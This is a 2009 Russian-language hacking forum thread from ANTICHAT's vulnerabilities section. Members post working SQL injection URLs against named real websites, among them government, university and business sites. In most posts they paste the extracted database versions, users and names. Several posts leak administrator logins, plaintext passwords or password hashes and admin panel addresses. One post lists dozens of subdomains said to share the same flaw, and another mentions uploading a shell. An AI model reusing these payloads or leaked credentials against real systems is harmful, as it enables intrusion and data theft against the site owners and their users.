HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #8701  
Старый 03.04.2009, 21:25
M.W.N.N.
Участник форума
Регистрация: 05.01.2009
Сообщений: 191
Провел на форуме:
3020589

Репутация: 240
По умолчанию

Код:
http://www.cultura.mt.gov.br/conteudo.php?sid=54&cid=543++union+select+1,2,3,4,5,6,7,concat(version(),0x3a,database(),0x3a,user()),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+limit+1,1/*
version():4.1.22-standard-log
database():MYSDCP02
user():SDC_User2@192.168.0.4
__
Код:
http://www.stips.minpolj.sr.gov.yu/print.php?sid=2+union+select+concat(version(),0x3a,database(),0x3a,user()),2,3,4,5,6+limit+1,1/*
version():5.0.44-debug-log
database():minmiss
user():minmiss@localhost
__
Код:
http://glastonbury.gov.uk/g_gov/article.php?op=Print&sid=377+union+select+1,2,concat(version(),0x3a,database(),0x3a,user()),4,5,6,7,8+limit+1,1/*
version():5.0.32-Debian_7etch8-log
database():glastonb
user():glastonb@localhost
__
Код:
http://www.bushnell.illinois.gov/newsStory.php?NewsID=11%27+union+select+1,2,3,4,5,concat(version(),0x3a,database(),0x3a,user()),7,8,9,10,11,12,13,14/*
version():4.1.20
database():ci_bushnell_illinois_gov_-_data
user():bushnell@localhost
 
Ответить с цитированием

  #8702  
Старый 03.04.2009, 21:57
-m0rgan-
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме:
2584134

Репутация: 519


Отправить сообщение для -m0rgan- с помощью ICQ
По умолчанию

Код:
http://www.priefert.com.au/newsDetail.php?ID=-1+union+all+select+0,1,concat_ws(0x3c62723e,version(),user(),database()),3--
юзер/версия/бд:
Код:
priefert_admin@srv19.ezyreg.com
4.1.22-standard
priefert_products
-----------------------------------------------------------------------
Код:
http://www.viewsonic.com.au/pr/show.php?id=-1+union+all+select+0,1,2,concat_ws(0x3c62723e,user,password,file_priv),4,5,6,7,8+from+mysql.user--
логин/пасс:
Код:
root
750ce2a25a8d1ad5
Код:
file_priv:Y
Код:
http://www.viewsonic.com.au/pr/show.php?id=-1+union+all+select+0,1,2,concat_ws(0x3c62723e,user(),version(),database()),4,5,6,7,8+from+mysql.user--
юзер/версия/бд:

Код:
web@localhost  4.1.22-log  vsau
-----------------------------------------------------------------------
The End!
 
Ответить с цитированием

  #8703  
Старый 03.04.2009, 21:58
hackmen
Участник форума
Регистрация: 22.10.2007
Сообщений: 119
Провел на форуме:
598447

Репутация: 123
По умолчанию

http://www.psicodietnews.org/page.php?id=-1+union+select+1,2,concat_ws(0x3a,user,password),4 ,5+from+administrator--
http://www.psicodietnews.org/admin/admin.php

Льется шел )
 
Ответить с цитированием

  #8704  
Старый 03.04.2009, 22:25
fker
Участник форума
Регистрация: 26.11.2008
Сообщений: 158
Провел на форуме:
2816163

Репутация: 158
По умолчанию

pr5
Код:
http://www.menzelinsk.ru/average_special_educational.php?average=999+union+select+0,version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15--
tabl:
a_ad_users(login,pass)
chelnyclub : club (только одна запись, админку не нашел =( )
a_nla07_users (login,pass)

version() 5.0.67-log
user() u23836@10.10.10.201
database() u23836


pr4
Код:
http://www.moretonisland.com.au/product.php?id=67764+union+select+1,2,concat_ws(char(32,32),version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--
version() 4.0.17
user() moreton@localhost
database() moreton



pr5
Код:
http://www.antarvictoria.org.au/local-group.php?id=9999+union+select+1,table_name,3,4,5,6,7,8,9,10,11,12,13+from+information_schema.tables+limit+18,1--
version() 5.0.67
user() antarvic_l_user@localhost
database() antarvic_local




pr4
Код:
http://www.qcal.org.au/seminars/event.php?ID=9999+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13--
version() 4.1.22-standard-log
user() qca7919_public@localhost
database() qca7919_QCAL


pr4
Код:
http://www.volzsky.ru/categ.php?id=9999+union+select+1,concat_ws(char(32,32),version(),user(),database())--
version() 5.1.32-community-log
user() Wx1000_volzskij@194.176.118.38
database() Wx1000_volzskij

pr3
Код:
http://www.countrywide.net.au/view_distributor.php?id=999+union+select+1,CONCAT( username, CHAR(32,58,32), password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38+from+auth/*&cadellt
/admin/index.php
cwdadmin : countrywide1
version() 4.0.27-standard
user() country_countryw@localhost
database() country_countrywide

pr5
Код:
http://www.velikieluki.ru/struc/struc2_d.php?struc2_id=9999+union+select+0,concat_ws(char(32,32),version(),user(),database()),username,%20CHAR(32,58,32),%20user_password),2,3,4,5--
&struc_id=2
version() 5.0.27-log
user() velikieluki@localhost
database() velikieluki


и на последок PostgreSQL
pr5
Код:
http://nursing.flinders.edu.au/research/index.php?id=108'+union+select+1,version(),null,null,null,null,null,null,null,null,null,null,null,null--
version() - PostgreSQL 8.1.11 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20070626 (Red Hat 4.1.2-14)
current_user() - nursstaff
current_database() - nursing
 
Ответить с цитированием

  #8705  
Старый 03.04.2009, 23:03
Cennarios
Участник форума
Регистрация: 13.07.2008
Сообщений: 101
Провел на форуме:
346497

Репутация: 303
Отправить сообщение для Cennarios с помощью ICQ
По умолчанию

http://www.allcolombiangirls.com/detail.php?code=-1+union+select+1,2,concat_ws(0x3a3a,uname,confirmk ey),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,2 1,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+s ignup+limit+21,1--

Для страждущих. Бабы =)))
 
Ответить с цитированием

  #8706  
Старый 03.04.2009, 23:08
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию

http://cleveland.dbusinessnews.com/shownews.php?newsid=124409+union+select+unhex(hex( concat_ws(0x3a,version(),database(),user()))),2,3, 4,5,6,7/*&type_news=latest


Database Version: 4.1.11
Database name: dbusinessnews_db
User name: dbnewsdbadmin@localhost


Уязвимость присутствует во всех этих ресурсах...


advertising-pr.dbusinessnews.com [66.129.105.20]
advertising-pr.dbusinessnews.com [66.129.105.20]
airline.dbusinessnews.com [66.129.105.20]
airline.dbusinessnews.com [66.129.105.20]
albany.dbusinessnews.com [66.129.105.20]
albany.dbusinessnews.com [66.129.105.20]
anchorage.dbusinessnews.com [66.129.105.20]
anchorage.dbusinessnews.com [66.129.105.20]
atlanta.dbusinessnews.com [66.129.105.20]
atlanta.dbusinessnews.com [66.129.105.20]
atlanta.triangle.dbusinessnews.com [66.129.105.20]
atlanta.triangle.dbusinessnews.com [66.129.105.20]
augusta.dbusinessnews.com [66.129.105.20]
augusta.dbusinessnews.com [66.129.105.20]
austin.dbusinessnews.com [66.129.105.20]
austin.dbusinessnews.com [66.129.105.20]
automotive.dbusinessnews.com [66.129.105.20]
automotive.dbusinessnews.com [66.129.105.20]
baltimore.dbusinessnews.com [66.129.105.20]
baltimore.dbusinessnews.com [66.129.105.20]
banking.dbusinessnews.com
banking.dbusinessnews.com
billings.dbusinessnews.com
birmingham.dbusinessnews.com
birmingham.dbusinessnews.com
bismarck.dbusinessnews.com
bismarck.dbusinessnews.com
boise.dbusinessnews.com
boise.dbusinessnews.com
boston.dbusinessnews.com
boston.dbusinessnews.com
charleston.dbusinessnews.com
charleston.dbusinessnews.com
charlotte.dbusinessnews.com
charlottte.dbusinessnews.com
charlottte.dbusinessnews.com
cheyenne.dbusinessnews.com
cheyenne.dbusinessnews.com
chicago.dbusinessnews.com
chicago.dbusinessnews.com
cincinnati.dbusinessnews.com
cincinnati.dbusinessnews.com
columbia.dbusinessnews.com
columbia.dbusinessnews.com
columbus.dbusinessnews.com
columbus.dbusinessnews.com
computers.dbusinessnews.com
computers.dbusinessnews.com
concord.dbusinessnews.com
concord.dbusinessnews.com
crm.dbusinessnews.com
crm.dbusinessnews.com
dallas.dbusinessnews.com
dayton.dbusinessnews.com
dayton.dbusinessnews.com
demo.dbusinessnews.com
demo.dbusinessnews.com
denver.dbusinessnews.com
denver.dbusinessnews.com
desmoines.dbusinessnews.com
desmoines.dbusinessnews.com
detroit.dbusinessnews.com
detroit.dbusinessnews.com
doston.dbusinessnews.com
doston.dbusinessnews.com
education.dbusinessnews.com
education.dbusinessnews.com
electronics.dbusinessnews.com
electronics.dbusinessnews.com
engineering.dbusinessnews.com
engineering.dbusinessnews.com
food-beverage.dbusinessnews.com
gaming.dbusinessnews.com
gaming.dbusinessnews.com
hartford.dbusinessnews.com
hartford.dbusinessnews.com
healthcare.dbusinessnews.com
honolulu.dbusinessnews.com
honolulu.dbusinessnews.com
hospitality.dbusinessnews.com
hospitality.dbusinessnews.com
houston.dbusinessnews.com
houston.dbusinessnews.com
indianapolis.dbusinessnews.com
indianapolis.dbusinessnews.com
indianapolis.indianapolis.dbusinessnews.com
indianapolis.indianapolis.dbusinessnews.com
information-technology.atlanta.dbusinessnews.com
information-technology.atlanta.dbusinessnews.com
internet.dbusinessnews.com
internet.dbusinessnews.com
jackson.dbusinessnews.com
jacksonville.dbusinessnews.com
jacksonville.dbusinessnews.com
kansas.dbusinessnews.com
kansas.dbusinessnews.com
kansascity.dbusinessnews.com
kansascity.dbusinessnews.com
lasvegas.dbusinessnews.com
lasvegas.dbusinessnews.com
legal-services.dbusinessnews.com
legal-services.dbusinessnews.com
life-sciences.dbusinessnews.com
life-sciences.dbusinessnews.com
losangeles.dbusinessnews.com
losangeles.dbusinessnews.com
louisville.dbusinessnews.com
louisville.dbusinessnews.com
management.dbusinessnews.com
management.dbusinessnews.com
manufacturing.dbusinessnews.com
manufacturing.dbusinessnews.com
memphis.dbusinessnews.com
metals-industry.dbusinessnews.com
metals-industry.dbusinessnews.com
milwaukee.dbusinessnews.com
milwaukee.dbusinessnews.com
minneapolis.dbusinessnews.com
minneapolis.dbusinessnews.com
montpelier.dbusinessnews.com
montpelier.dbusinessnews.com
nashville.dbusinessnews.com
nashville.dbusinessnews.com
newark.dbusinessnews.com
newark.dbusinessnews.com
neworleans.dbusinessnews.com
newyork.dbusinessnews.com
newyork.dbusinessnews.com
non-profit-news.dbusinessnews.com
non-profit-news.dbusinessnews.com
oklahomacity.dbusinessnews.com
oklahomacity.dbusinessnews.com
omaha.dbusinessnews.com
omaha.dbusinessnews.com
orangecounty.dbusinessnews.com
orangecounty.dbusinessnews.com
orlando.dbusinessnews.com
orlando.dbusinessnews.com
pharmaceuticals.dbusinessnews.com
pharmaceuticals.dbusinessnews.com
philadelphia.dbusinessnews.com
philadelphia.dbusinessnews.com
phoenix.dbusinessnews.com
phoenix.dbusinessnews.com
pittsburgh.dbusinessnews.com
portland.dbusinessnews.com
portland.dbusinessnews.com
potomac.dbusinessnews.com
potomac.dbusinessnews.com
providence.dbusinessnews.com
providence.dbusinessnews.com
real-estate.dbusinessnews.com
real-estate.dbusinessnews.com
retail.dbusinessnews.com
retail.dbusinessnews.com
richmond.dbusinessnews.com
richmond.dbusinessnews.com
sacramento.dbusinessnews.com
sacramento.dbusinessnews.com
sales-marketing.dbusinessnews.com
sales-marketing.dbusinessnews.com
saltlakecity.dbusinessnews.com
sanantonio.dbusinessnews.com
sanantonio.dbusinessnews.com
sanfran.dbusinessnews.com
sanfran.dbusinessnews.com
sanfrancisco.dbusinessnews.com
sanfrancisco.dbusinessnews.com
sanjose.dbusinessnews.com
sanjose.dbusinessnews.com
seattle.dbusinessnews.com
seattle.dbusinessnews.com
software.dbusinessnews.com
software.dbusinessnews.com
southflorida.dbusinessnews.com
southflorida.dbusinessnews.com
stlouis.dbusinessnews.com
stlouis.dbusinessnews.com
tampa.dbusinessnews.com
tampa.dbusinessnews.com
telecom-wireless.dbusinessnews.com
telecom-wireless.dbusinessnews.com
trade-professional-services.dbusinessnews.com
trade-professional-services.dbusinessnews.com
triad.dbusinessnews.com
triad.dbusinessnews.com
triangle.atlanta.dbusinessnews.com
triangle.dbusinessnews.com
triangle.dbusinessnews.com
triangle.triangle.dbusinessnews.com
venture-capital.dbusinessnews.com
venture-capital.dbusinessnews.com
wichita.dbusinessnews.com
wichita.dbusinessnews.com
wilmington.dbusinessnews.com
wilmington.dbusinessnews.com
www.dbusinessnews.com
www.dbusinessnews.com

Последний раз редактировалось Gorev; 03.04.2009 в 23:17..
 
Ответить с цитированием

  #8707  
Старый 04.04.2009, 00:28
hackmen
Участник форума
Регистрация: 22.10.2007
Сообщений: 119
Провел на форуме:
598447

Репутация: 123
По умолчанию

http://www.liguegolf-limousin.org/page/page.php?id=-1+union+select+1,2,concat_ws(0x3a,login_utilisateu r,pwd_utilisateur),4,5+from+utilisateur--

http://www.liguegolf-limousin.org/infos_club/login.php
 
Ответить с цитированием

  #8708  
Старый 04.04.2009, 09:08
farex
Banned
Регистрация: 11.03.2009
Сообщений: 214
Провел на форуме:
914766

Репутация: 317
По умолчанию

<<Ботаника>>

Код:
http://www.noviyegrani.com/subjects.php?ID=-223'+union+select+1,column_name,3,4,5,6,7,8,9+from+information_schema.columns+where+table_name='_kullanicilar'--+
db: 5.0.45
name_db: noviye
user: noviye@localhost

log: sinantr
pass: 46ab172f44d6dfed

log: kerem37
pass: 0e5360d8365b0c67

----------------------------------
----------------------------------
Код:
http://www.fontaene-verlag.de/book.php?ID=-20'+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32/*
db: 5.0.45
name_db: kaynak_verlag2
user: kulturyabanci@localhost

--------------------------------
--------------------------------

Код:
http://www.multi-master.ru/service/detail.php?id=-10+union+select+1,2,version(),4,5,6,7,8--+
db: 4.0.25-standard
name_db: multi72_base
user: multi72_admin@web8.100mb.net

Последний раз редактировалось farex; 04.04.2009 в 14:27.. Причина: добавил sql
 
Ответить с цитированием

  #8709  
Старый 04.04.2009, 14:49
Cennarios
Участник форума
Регистрация: 13.07.2008
Сообщений: 101
Провел на форуме:
346497

Репутация: 303
Отправить сообщение для Cennarios с помощью ICQ
По умолчанию

http://www.usjf.net/modules.php?op=modload&name=News&file=article&sid=-1+union+select+1,concat_ws(0x3a3a,pn_uname,pn_pass ,pn_user_icq),3,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21+from+nuke_users+limit+0,1/*


Греьаные америкосы...
 
Ответить с цитированием

  #8710  
Старый 04.04.2009, 17:45
farex
Banned
Регистрация: 11.03.2009
Сообщений: 214
Провел на форуме:
914766

Репутация: 317
По умолчанию

<<Администрация города Орла>>
Код:
http://www.orel-adm.ru/index.php?id=-4-3'+union+select+1,unhex(hex(version())),3/*
db: 4.1.10a-log
name_db: tbase
user: utw@localhost
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ